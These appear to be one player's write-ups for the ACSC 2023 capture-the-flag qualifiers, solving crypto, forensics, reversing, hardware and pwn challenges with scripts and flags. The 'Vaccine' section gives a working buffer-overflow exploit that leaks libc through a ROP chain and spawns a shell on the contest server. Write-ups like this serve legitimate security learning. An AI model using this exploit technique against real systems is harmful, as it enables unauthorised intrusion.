# ACSC 2023 Qual Writeups ## Welcome `ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}` ## Merkle Hellman (Crypto) The challenge provides source code of the encryption routine and an encrypted flag file. The only important information in the encryption routine is from this peice of code: ```python= # ..... (Not important) # Encrypting c = [] for f in flag: s = 0 for i in range(7): if f & (64>>i): s += b[i] c.append(s) print(f"Public Key = {b}") print(f"Private Key = {w,q}") print(f"Ciphertext = {c}") # Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] ``` Each flag characters are being encrypted by adding a number in `b` array corresponding to bit `1`s' positions in its binary form. You can bruteforce this by iterating all printable characters and encrypting them to see whether the result is equal to any numbers in `Ciphertext` array. ```py= from string import printable x = [7352, 2356, 7579, 19235, 1944, 14029, 1084] Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] for ct in Ciphertext: for c in printable: s = 0 for i in range(7): if ord(c) & (64 >> i): s += x[i] if s == ct: print(c, end = '') break # ACSC{E4zY_P3@zy} ``` # pcap-1 (Forensics) There're lots of `USB` protocol and `URB_INTERUPT` in the captured pcap file. Googling a bit on the internet around this information, it leads me to this [article](https://ctf-wiki.mahaloz.re/misc/traffic/protocols/USB/). So what I did was extracting every possible communication between an address to the host with `USB` protocol and has `URB_INTERUPT` info. And the one from `1.21.1` to host is what we're looking for. Running `UsbKeyboardDataHacker.py` with argument is the path to captured packets only from `1.21.1` to host give me this output: ``` sslliiddddeeeessss..ggggoooogglleeee..ccoooomm<RET><RET>CCTTFF<SPACE><SPACE><SPACE><SPACE>IInnttttttrroo<SPACE><SPACE>PPrrrreesssseeeennttaaaattiiiioonnHHooww<SPACE><SPACE>ttoo<SPACE><SPACE>bbee<SPACE><SPACE>ggoooodd<SPACE><SPACE>aaaatt<SPACE><SPACE>CCTTFFss??AA<SPACE><SPACE>bbeeggiinnnneeeerr''ss<SPACE><SPACE><SPACE><SPACE>gguuuuiiddddee<DEL><DEL>DDoonnoottcchheeaaaattGGgguuuueessssiiiinnnnggiissggooooddTTtthhiiiiss<SPACE><SPACE>iiiiss<SPACE><SPACE>aaaannnn<SPACE><SPACE><SPACE><SPACE>eexxxxaaaammpppppplleeee<SPACE><SPACE>ooooffff<SPACE><SPACE>aaaa<SPACE><SPACE>ffllllaaaagg::AACCSSCC{{ff00rr33nnss11ccss__iiss__ss00__ffuumm<DEL><DEL>nn}}IIff<SPACE><SPACE><SPACE><SPACE>yyoooouuuu<SPACE><SPACE>ccccaaaann<SPACE><SPACE><SPACE><SPACE>rrrreeeeeeaaaadd<SPACE><SPACE>tttttthhiissss<SPACE><SPACE>mmmmeessssaaggggee,,<SPACE><SPACE>ccoonnnnggrraaaattss!!11<RET><RET>BBuuuutt<SPACE><SPACE><SPACE><SPACE>tttthheeee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>yyoooouu<SPACE><SPACE>sssseeeeee<SPACE><SPACE>nnnnooww<SPACE><SPACE>iiiissss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>aacccceeeepptteeeeeedd<SPACE><SPACE>ffllllaaaagg..<RET><RET>IInnssppeeeecctt<SPACE><SPACE><SPACE><SPACE>tttthhhheeee<SPACE><SPACE>ppppaaaacccckkeeeettttssss<SPACE><SPACE>mmmmmmmmrrrreeee<SPACE><SPACE>ddddeeeeppllyy,,<SPACE><SPACE>mmaa<DEL><DEL><DEL><DEL>aaaanndddd<SPACE><SPACE>yyoooouuuu<SPACE><SPACE>wwwwiillll<SPACE><SPACE>rrrreevvvveeaaaall<SPACE><SPACE>mmmmmmrrrreeee<SPACE><SPACE>iiiinnffoomm<DEL><DEL>rrrrmmaaaattiiiioonn<SPACE><SPACE><SPACE><SPACE>aaaabboooouuuutttt<SPACE><SPACE>wwwwhhhhaaaatttt<SPACE><SPACE>iissss<SPACE><SPACE>hhhhaaaappppeeeenniiiinngg..<RET><RET>II''mm<SPACE><SPACE><SPACE><SPACE>wwwwrrrriittttiiiinnnngggg<SPACE><SPACE>tttthhhhhhiissss<SPACE><SPACE><SPACE><SPACE>hheerrrree,,<SPACE><SPACE>ootthhhheeeerrrrwwiissssee<SPACE><SPACE>1111000000<SPACE><SPACE>ppeeeeoooopppplllleeee<SPACE><SPACE><SPACE><SPACE>wwiillll<SPACE><SPACE><SPACE><SPACE>ddmm<SPACE><SPACE>mmmmeeee<SPACE><SPACE>ttttoo<SPACE><SPACE>ssssaayy<SPACE><SPACE><SPACE><SPACE>tttthhaaaatt<SPACE><SPACE><SPACE><SPACE>tttthhee<SPACE><SPACE>ffllaaaagggg<SPACE><SPACE>iiss<SPACE><SPACE>nnnnooootttt<SPACE><SPACE>wwoorrrrkkiiiinnnngg,,,,<SPACE><SPACE>oooooooorr<SPACE><SPACE><DEL><DEL><DEL><DEL><DEL><DEL>rr<SPACE><SPACE><SPACE><SPACE>tthhhheeee<SPACE><SPACE>cccchhaalllleennggggee<SPACE><SPACE>iiiissss<SPACE><SPACE>bbrrookkeenn..<RET><RET>BBttww,,<SPACE><SPACE><SPACE><SPACE>II<SPACE><SPACE>ddoonn''tttt<SPACE><SPACE>lliikkeeee<SPACE><SPACE>ffoorreennssssiiccccssss<SPACE><SPACE>ttoooo..<SPACE><SPACE>::)) ``` `ACSC{f0r3ns1cs_is_s0_fun}` # Vaccine (Pwn) This is a classic ret2libc so I will just post my solve script here: ```py= from pwn import * r = remote('vaccine.chal.ctf.acsc.asia', 1337) # r = process('./vaccine') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # raw_input('abc') pop_rdi = 0x0000000000401443 payload = b'A' * 111 + b'\x00' payload += payload payload += b'a' * 40 payload += p64(pop_rdi) + p64(0x404028) + p64(0x4013D7) payload += p64(0x4010E0) + p64(0x40123B) print(r.recv()) r.sendline(payload) r.recvline() x = r.recvuntil(b'Give') leak = u64(x[-10:-4].ljust(8, b'\x00')) - libc.symbols['printf'] print(hex(leak)) payload = b'C' * 111 + b'\x00' payload += payload payload += b'b' * (24 + 8) + p64(0x404070 + 0x78) payload += p64(leak + 0xebcf5) print(r.recv()) r.sendline(payload) r.interactive() ``` # Serverless (Rev) Also a classic RSA so I just also post my solve script here: ```py= from base64 import b64decode from Crypto.Util.number import * g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287] h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397] x = [int(i) for i in b64decode('MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy').split(b',')][::-1] key = b'acscpass' for i in range(len(x)): x[i] ^= key[i % len(key)] x = x[::-1] j, k, s = x[:3] x = x[3:] val = 0 for i in x: val = (val << 8) + i l = h[k] o = g[j] t = int((2 ** (2 ** s)) + 1) phi = (l - 1) * ( o - 1) d = inverse(t,phi) print(bytes.fromhex((hex(pow(val, d, l*o)))[2:])) ``` # Hardware is not so hard (Hardware) The challenge provides us a communication between SD Card and a device. Base on some random documents on google, the device will send a command that can be represented in 48 bits: ![](https://i.imgur.com/5TK8TZW.png) The only command that's being useful in this challenge is `CMD17`: ![](https://i.imgur.com/VoJXQRu.png) Because the device didn't set the block length, the default block size that can be read from SD Card is 512 bytes. With these information, I wrote a small python script to parse all the packets recieved by the device and put them in the right order to assemble the flag image: ```py= leak = open('./log.txt', 'r').readlines() id = 0 li = [b''] * 64 cou = 0 for i in leak: if 'Device to SD Card :' in i: t = int(i.split('Device to SD Card : ')[1].strip(), 16) # print(i.strip()) cmd = ((t & 0x3f0000000000) >> 40) if cmd == 17: cou += 1 print((t & (4294967295 << 8)) >> 8, end = ' ') id = (t & (4294967295 << 8)) >> 8 elif 'SD Card to Device :' in i: hehe = i.split('SD Card to Device : ')[1].strip() if hehe == '00': continue hehe = hehe.split('fffffffe')[1][:-4] print(id) li[id] = bytes.fromhex(hehe) ans = b''.join(li) open('hehe.jpg', 'wb').write(ans) ``` ![](https://i.imgur.com/C1ovChi.jpg) # ngo (Rev) The code is really short and easy to understand. We'll have to find a way to optimize the algorithm so that it can print all the characters faster. This is the core function: ```c __int64 main() { unsigned __int64 j; // [rsp+28h] [rbp-18h] char v2; // [rsp+33h] [rbp-Dh] int i; // [rsp+34h] [rbp-Ch] unsigned __int64 v4; // [rsp+38h] [rbp-8h] ignore(); print("The flag is \"ACSC{"); v4 = 1i64; for ( i = 0; i <= 11; ++i ) { for ( j = 0i64; j < v4; ++j ) v2 = main_process(); putchar(v2 ^ sus_arr[i]); v4 *= 42i64; } print("}\".\n"); return 0i64; } ``` ```c __int64 main_process() { int v1; // [rsp+8h] [rbp-8h] v1 = sus_const & 1; sus_const = (unsigned int)sus_const >> 1; sus_const ^= -v1 & 0x80200003; return (unsigned int)sus_const; } ``` At one time, `v4` will be really large and the program will stuck at `j` loop. `main_process` returns a random dword calculated by a certain operations, but after a certain loop the function will return the initial `sus_const` because there's only **4294967296** number in dword size, and it'll create a cycle, so the main problem now is we need to find how many loops `main_process` needs to return to the original point in the cycle. It can be easily done by iterating in C since C is a really fast language in terms of algorithm. And after finding all needed `v2` values, we can easily get the flag at this point `ACSC{yUhFgRvQ2Afi}` # pyso (Rev) At first glance, the condition to check flag is relative simple, but the functionalities from libvalidator doesn't match their names. The only function that's heavily interacting with our input is `libvalidator.aes_encrypt`. In short, `libvalidator.aes_encrypt` generate a 256 bytes static table and our input will be encrypted around that table. While solving this, I really don't want to recreate every corner of the encryption routine in python so I combine with a debugger to extract some vital values and use them to recreate some of the main ideas of the algorithm: Extract script using IDA as debugger: ```python= # Already turn off ASLR for convenience add_bpt(0x7FFFF6863D13, 0, BPT_SOFT) enable_bpt(0x7FFFF6863D13, True) start = 0x7FFFF6886C5E v27_array = [] first_index = [] second_index = [] for _ in range(16): for i in range(16): address = start + (i * 192) addr_first_idx = (start + 53) + (i * 192) addr_seccond_idx = (start + 61) + (i * 192) print(hex(address), hex(addr_first_idx), hex(addr_seccond_idx)) add_bpt(address, 0, BPT_SOFT) enable_bpt(address, True) add_bpt(addr_first_idx, 0, BPT_SOFT) enable_bpt(addr_first_idx, True) add_bpt(addr_seccond_idx, 0, BPT_SOFT) enable_bpt(addr_seccond_idx, True) idaapi.continue_process() idaapi.wait_for_next_event(WFNE_SUSP, -1) v27_array.append(get_reg_value('r11')) idaapi.continue_process() idaapi.wait_for_next_event(WFNE_SUSP, -1) first_index.append(get_reg_value('rcx')) idaapi.continue_process() idaapi.wait_for_next_event(WFNE_SUSP, -1) second_index.append(get_reg_value('rsi')) start -= 5952 print(v27_array) print(first_index) print(second_index) ``` Encryption and Decryption script: ```python= # -------------------------------- # ========== ENCRYPTION ========== # -------------------------------- inp = list(b'a' * 0x40) v27_arr = [5, 201, 232, 459, 426, 175, 412, 261, 175, 199, 274, 117, 187, 228, 382, 291, 68, 321, 140, 217, 375, 338, 269, 57, 185, 409, 285, 196, 306, 182, 328, 250, 448, 284, 181, 346, 247, 306, 66, 225, 259, 126, 205, 218, 282, 102, 328, 324, 94, 229, 288, 67, 238, 332, 197, 404, 379, 167, 216, 454, 441, 420, 189, 227, 247, 500, 260, 39, 291, 245, 253, 398, 368, 130, 352, 146, 240, 321, 298, 276, 250, 267, 230, 458, 271, 29, 159, 405, 301, 295, 204, 422, 341, 143, 169, 208, 430, 305, 163, 289, 54, 222, 298, 45, 106, 222, 283, 125, 205, 346, 162, 173, 399, 348, 333, 165, 228, 327, 310, 212, 283, 226, 475, 450, 341, 183, 306, 286, 139, 154, 172, 417, 304, 234, 384, 340, 197, 361, 296, 149, 224, 416, 305, 275, 103, 343, 137, 338, 289, 142, 322, 217, 412, 380, 139, 243, 438, 320, 118, 248, 440, 429, 245, 359, 338, 170, 388, 176, 224, 250, 338, 135, 153, 398, 364, 278, 66, 185, 393, 144, 391, 288, 227, 325, 261, 124, 230, 300, 228, 253, 300, 53, 251, 329, 304, 233, 400, 257, 239, 263, 35, 231, 459, 431, 340, 164, 196, 410, 193, 193, 320, 270, 172, 245, 477, 306, 99, 250, 263, 256, 244, 476, 336, 90, 138, 297, 240, 435, 363, 242, 348, 288, 63, 248, 434, 359, 237, 371, 286, 268, 211, 217, 352, 200, 444, 261, 165, 185, 370, 362, 257, 199, 332, 101, 289, 69] first_index = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23, 24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31, 32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35, 36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43, 44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47, 48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51, 52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55, 56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59, 60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63] second_index = [1, 50, 58, 50, 42, 43, 39, 1, 43, 49, 4, 29, 46, 57, 31, 8, 17, 16, 35, 54, 29, 20, 3, 14, 46, 38, 7, 49, 12, 45, 18, 62, 48, 7, 45, 22, 61, 12, 16, 56, 0, 31, 51, 54, 6, 25, 18, 17, 23, 57, 8, 16, 59, 19, 49, 37, 30, 41, 54, 49, 46, 41, 47, 56, 61, 61, 1, 9, 8, 61, 63, 35, 28, 32, 24, 36, 60, 16, 10, 5, 62, 2, 57, 50, 3, 7, 39, 37, 11, 9, 51, 41, 21, 35, 42, 52, 43, 12, 40, 8, 13, 55, 10, 11, 26, 55, 6, 31, 51, 22, 40, 43, 35, 23, 19, 41, 57, 17, 13, 53, 6, 56, 54, 48, 21, 45, 12, 7, 34, 38, 43, 40, 12, 58, 32, 21, 49, 26, 10, 37, 56, 40, 12, 4, 25, 21, 34, 20, 8, 35, 16, 54, 39, 31, 34, 60, 45, 16, 29, 62, 46, 43, 61, 25, 20, 42, 33, 44, 56, 62, 20, 33, 38, 35, 27, 5, 16, 46, 34, 36, 33, 8, 56, 17, 1, 31, 57, 11, 57, 63, 11, 13, 62, 18, 12, 58, 36, 0, 59, 1, 8, 57, 50, 43, 21, 41, 49, 38, 48, 48, 16, 3, 43, 61, 55, 12, 24, 62, 1, 0, 61, 55, 20, 22, 34, 10, 60, 44, 26, 60, 23, 8, 15, 62, 44, 25, 59, 28, 7, 3, 52, 54, 24, 50, 47, 1, 41, 46, 28, 26, 0, 49, 19, 25, 8, 17] table = list(b'\xf9\x97\x1e"\x10I\xd5\r\x05d\xae\x11\xee\xbb\xceE\xcaZ\x04\xe2\xea\xcc\xaaz\x17D@G\\\x0e\xab\x89\xc4\xbcx\x1cWn\x0c\xfa\xbf\x9fL\xc5/\x03\x92!\xe7\x91U8\x8c\t\xef\xa9\x13\xad}\xc2\x80\xa3\xd7\x1f\x7fQ,9\x9c$BcJN\xa6\x90\x85\xf1%St\x81X\x1d\xa5\x93v\xf0\xbd#\nlj\x8bC*\x87\xf2\x1b1\xb6\x19\xe9\xb5o\xa4\xf8\xb8\xde>\x94\x01:7\xb9\x86)\xc16[=\xa2<YwA\xfb\xd1\x96\x02\xe1e\xdap(\xf7y\xd00\x0fR\xa1\xf5.\xa7`\xa8\xb0~\x83\xacM\xed\x12\xd6\xe5\x84\x9d\x15\xfe\xc8\x0b\xd2TP\xa0fsK\xe6\xeb\xff\x9emO\xe4\xb4\xf3\xba\xc35;&\x8ei\x14\xdb\xd9\xf4\x08FV\x16\x00\x8f\x9b 4]\xc6h-\xe3u\xd4\xc9\x07\xf6|\'\x8a\xc7\xafHg{\xdc\x06\x18a\xe8\xfd\xb2\x8d\xbe\x9a^\x98\xdd\xb3\xcd\x99\xb1\x822r\x88\xcb\xec\x95k\x1a3\xfc?\xc0\xdf\xe0+\xd3q\xd8\xb7_\xcfb') for indexing in range(256): v34 = 0 if ((indexing ^ v27_arr[indexing]) & 0xff > 3): v34 = inp[first_index[indexing]] ^ inp[second_index[indexing]] else: v34 = inp[first_index[indexing]] inp[first_index[indexing]] = indexing ^ v34 inp[second_index[indexing]] ^= v27_arr[indexing] constant_index = 0 a12 = 0 a11 = 0 a13 = 0 v19 = 0 li = [] for i in range(0x40): constant_index += 5 v14 = table[constant_index & 0xff] table_related_index = (a12 + table[(a11 + v14) & 0xff]) & 0xff v17 = table[table_related_index] v18 = v17 + constant_index + a12 table[constant_index & 0xff] = v17 table[table_related_index] = v14 v19 = table[(table[(constant_index + table[(v18 + a13) & 0xff]) & 0xff] + table_related_index) & 0xff] a11 = table_related_index a12 = v18 a13 = v19 li.append(v19) inp[i] = (5889 * (((inp[i] ^ v19) & 0xff) + 2 * ((v19 & inp[i]) & 0xff)) + 3584) & 0xff num = 0 for i in inp: num += 1 print(hex(i & 0xff)[2:], end = ' ') if num % 0x10 == 0: print() # -------------------------------- # ========== DECRYPTION ========== # -------------------------------- li = [246, 3, 240, 42, 116, 9, 9, 200, 15, 102, 163, 229, 239, 55, 44, 206, 68, 223, 244, 107, 222, 181, 73, 79, 56, 79, 213, 16, 113, 204, 231, 106, 168, 116, 83, 216, 59, 75, 5, 67, 93, 180, 204, 239, 215, 136, 160, 114, 240, 201, 130, 221, 189, 39, 247, 153, 22, 198, 97, 141, 187, 21, 178, 157] inp = [] inp.append((-0x73) & 0xff) inp.append(109) inp.append((-82) & 0xff) inp.append(0x53) inp.append(0xb5) inp.append(39) inp.append(0xf) inp.append(0x31) inp.append(0xe2) inp.append(0x6e) inp.append(18) inp.append((-12 + 1) & 0xff) inp.append(75) inp.append((-127 + 1) & 0xff) inp.append(20) inp.append(67 + 1) inp.append((-24) & 0xff) inp.append(0xc7) inp.append(32) inp.append(0xef) inp.append(32 + 1) inp.append(11 + 1) inp.append(0x3d) inp.append(0x1b) inp.append(21 + 1) inp.append((-125 + 1) & 0xff) inp.append(0x91) inp.append((-12 + 1) & 0xff) inp.append(0x89) inp.append(0xd1) inp.append(26 + 1) inp.append((-122) & 0xff) inp.append(0x8a) inp.append(0xef) inp.append(0xad) inp.append((-15 + 1) & 0xff) inp.append(0xda) inp.append((-53) & 0xff) inp.append((87 + 1) & 0xff) inp.append((-46) & 0xff) inp.append(0xb0) inp.append(81) inp.append(0x2a) inp.append(0x63) inp.append(0x93) inp.append((-59 + 1) & 0xff) inp.append(0xe7) inp.append(0xb0) inp.append(0x11) inp.append((-103) & 0xff) inp.append((-107) & 0xff) inp.append((-14 + 1) & 0xff) inp.append(53) inp.append(0xe) inp.append(0xd1) inp.append(0x58) inp.append(0x84) inp.append(0x7c) inp.append(0x55) inp.append(80 + 1) inp.append((-73) & 0xff) inp.append(0xcf) inp.append((-89) & 0xff) inp.append(0x57) ans = [] for i in range(len(inp)): stat = 0 for c in range(256): if (5889 * (((c ^ li[i]) & 0xff) + 2 * ((li[i] & c) & 0xff)) + 3584) & 0xff == inp[i]: ans.append(c) stat = 1 break # break if stat == 0: print('something is wrong') exit(0) print() for indexing in range(255, -1, -1): v34 = 0 ans[second_index[indexing]] ^= v27_arr[indexing] if ((indexing ^ v27_arr[indexing]) & 0xff > 3): ans[first_index[indexing]] = ans[first_index[indexing]] ^ ans[second_index[indexing]] ^ indexing else: ans[first_index[indexing]] = ans[first_index[indexing]] ^ indexing num = 0 for i in ans: num += 1 print(chr(i & 0xff), end = '') print() ``` # snake (Rev) This is a nanomite style challenge (one of my favorites), but this one is really unique since there're lots of unique paths for parent process to fix the child process. In order to patch the child process, I used a technique base on this [blog](https://lkmidas.github.io/posts/20210201-justctf2020-writeups/#debug_me_if_you_can): LD_PRELOAD. After patching most of the functions, reversing becomes a little bit easier: The program will generate a time stamp, then use it with our own screen resolution to generate positions of foods for the snake to eat. Every time the food is being eaten by the snake, MD5 hash will update the food coordinate, the hash will also update time stamp right after the first food is being captured. After defeat the game, MD5 will update .text section from the program and send it to server, if the hash is valid, we'll get the flag. Script to generate coordinates base on time and screen resolutions: ```c #include <stdio.h> #define NN 312 #define MM 156 #define MATRIX_A 0xB5026F5AA96619E9ULL #define UM 0xFFFFFFFF80000000ULL /* Most significant 33 bits */ #define LM 0x7FFFFFFFULL /* Least significant 31 bits */ /* The array for the state vector */ static unsigned long long mt[NN]; /* mti==NN+1 means mt[NN] is not initialized */ static int mti=NN+1; /* initializes mt[NN] with a seed */ void init_genrand64(unsigned long long seed) { mt[0] = seed; for (mti=1; mti<NN; mti++) mt[mti] = mti - (8612607789318272311LL * (mt[mti-1] ^ (mt[mti-1] >> 62))); } /* generates a random number on [0, 2^64-1]-interval */ unsigned long long genrand64_int64(void) { int i; unsigned long long x; static unsigned long long mag01[2]={0ULL, MATRIX_A}; if (mti >= NN) { /* generate NN words at one time */ /* if init_genrand64() has not been called, */ /* a default initial seed is used */ if (mti == NN+1) init_genrand64(5489ULL); for (i=0;i<NN-MM;i++) { x = (mt[i]&UM)|(mt[i+1]&LM); mt[i] = mt[i+MM] ^ (x>>1) ^ mag01[(int)(x&1ULL)]; } for (;i<NN-1;i++) { x = (mt[i]&UM)|(mt[i+1]&LM); mt[i] = mt[i+(MM-NN)] ^ (x>>1) ^ mag01[(int)(x&1ULL)]; } x = (mt[NN-1]&UM)|(mt[0]&LM); mt[NN-1] = mt[MM-1] ^ (x>>1) ^ mag01[(int)(x&1ULL)]; mti = 0; } x = mt[mti++]; x ^= (x >> 26) & 0xBBBBBBBBBBBBBBBBLL; x ^= (x << 19) & 0xA82C9FFFEDA60000LL; x ^= (x << 37) & 0xFFFABCD000000000LL; x ^= (x >> 45); return x; } int main(void) { int i; init_genrand64(0x0000000063FA7A57); for (i=0; i<31338; i++) { printf("%02llx ", genrand64_int64() % (0xcb / 2)); printf("%02llx ", genrand64_int64() % (0x2c)); } return 0; } ``` Solve script: ```python= import hashlib from pwn import * md5 = hashlib.md5() li = '0a 03 08 02 3b 04 ... (REDACTED)' x = [int(i, 16) for i in li.split(' ')] z = open('hehe', 'rb').read() ans = b'' num = 0 for i in x: ans += p32(i) num += 1 md5.update(p32(0x63FA7A57)) md5.update(ans) md5.update(z) r = remote('snake.chal.ctf.acsc.asia', 4444) packet = p32(0x63FA7A57) packet += p32(0xcb) packet += p32(0x2c) packet += p32(0x7a6a) packet += md5.digest() r.send(packet) print(r.recv()) ``` `ACSC{y0u_4R3_pr0_G4m3r_Or_ch34t3R}`